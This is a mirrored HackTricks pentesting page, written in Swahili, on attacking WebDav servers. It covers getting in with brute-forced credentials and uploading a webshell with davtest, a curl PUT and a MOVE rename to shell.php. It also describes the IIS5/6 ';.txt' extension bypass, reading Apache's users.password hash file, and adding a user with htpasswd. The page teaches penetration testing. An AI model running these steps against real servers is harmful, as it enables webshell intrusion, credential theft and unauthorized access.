mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
3.6 KiB
Markdown
83 lines
3.6 KiB
Markdown
# WebDav
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Wakati wa kushughulika na **HTTP Server yenye WebDav** iliyoanzishwa, inawezekana **kudhibiti faili** ikiwa una **vithibitisho** sahihi, ambavyo kawaida vinathibitishwa kupitia **HTTP Basic Authentication**. Kupata udhibiti wa seva kama hiyo mara nyingi kunahusisha **kupakia na kutekeleza webshell**.
|
|
|
|
Upatikanaji wa seva ya WebDav kawaida unahitaji **vithibitisho halali**, huku [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) ikiwa njia ya kawaida ya kuzipata.
|
|
|
|
Ili kushinda vizuizi kwenye upakiaji wa faili, hasa vile vinavyokataza utekelezaji wa skripti za upande wa seva, unaweza:
|
|
|
|
- **Pakia** faili zenye **nyongeza zinazoweza kutekelezwa** moja kwa moja ikiwa hazijakatazwa.
|
|
- **Badilisha jina** la faili zisizoweza kutekelezwa zilizopakiwa (kama .txt) kuwa nyongeza inayoweza kutekelezwa.
|
|
- **Nakili** faili zisizoweza kutekelezwa zilizopakiwa, ukibadilisha nyongeza yao kuwa ile inayoweza kutekelezwa.
|
|
|
|
## DavTest
|
|
|
|
**Davtest** inajaribu **kupakia faili kadhaa zenye nyongeza tofauti** na **kuangalia** ikiwa nyongeza hiyo inatekelezwa:
|
|
```bash
|
|
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
|
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
|
```
|
|
.png>)
|
|
|
|
Hii haimaanishi kwamba **.txt** na **.html extensions zinafanywa**. Hii inamaanisha kwamba unaweza **kufikia hizi faili** kupitia mtandao.
|
|
|
|
## Cadaver
|
|
|
|
Unaweza kutumia chombo hiki **kuungana na WebDav** server na kufanya vitendo (kama **kupakia**, **kuhamasisha** au **kufuta**) **kwa mikono**.
|
|
```
|
|
cadaver <IP>
|
|
```
|
|
## PUT ombi
|
|
```
|
|
curl -T 'shell.txt' 'http://$ip'
|
|
```
|
|
## MOVE ombi
|
|
```bash
|
|
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
|
```
|
|
## IIS5/6 WebDav Vulnerability
|
|
|
|
Ushirikiano huu ni wa kuvutia sana. **WebDav** ha **iruhusu** **kupakia** au **kurekebisha** faili zenye kiambishi **.asp**. Lakini unaweza **kuepuka** hili kwa **kuongeza** mwishoni mwa jina **";.txt"** na faili itatekelezwa kana kwamba ni faili ya .asp (unaweza pia **kutumia ".html" badala ya ".txt"** lakini **USISAHAU ";"**).
|
|
|
|
Kisha unaweza **kupakia** shell yako kama faili ".**txt"** na **kunakili/kuhamasisha** kwenye faili ".asp;.txt". Ukifungua faili hiyo kupitia seva ya wavuti, itatekelezwa (cadaver itasema kuwa hatua ya kuhamasisha haikufanya kazi, lakini ilifanya).
|
|
|
|
.png>)
|
|
|
|
## Post credentials
|
|
|
|
Ikiwa Webdav ilikuwa ikitumia seva ya Apache unapaswa kuangalia tovuti zilizowekwa kwenye Apache. Kawaida:\
|
|
_**/etc/apache2/sites-enabled/000-default**_
|
|
|
|
Ndani yake unaweza kupata kitu kama:
|
|
```
|
|
ServerAdmin webmaster@localhost
|
|
Alias /webdav /var/www/webdav
|
|
<Directory /var/www/webdav>
|
|
DAV On
|
|
AuthType Digest
|
|
AuthName "webdav"
|
|
AuthUserFile /etc/apache2/users.password
|
|
Require valid-user
|
|
```
|
|
Kama unavyoona kuna faili zenye **credentials** halali za **webdav** server:
|
|
```
|
|
/etc/apache2/users.password
|
|
```
|
|
Ndani ya aina hii ya faili utaona **jina la mtumiaji** na **hash** ya nenosiri. Hizi ndizo sifa zinazotumiwa na seva ya webdav kuthibitisha watumiaji.
|
|
|
|
Unaweza kujaribu **kufungua** hizo, au **kuongeza zaidi** ikiwa kwa sababu fulani unataka **kufikia** seva ya **webdav**:
|
|
```bash
|
|
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
|
```
|
|
Ili kuangalia kama akiba mpya inafanya kazi unaweza kufanya:
|
|
```bash
|
|
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|
```
|
|
## Marejeo
|
|
|
|
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|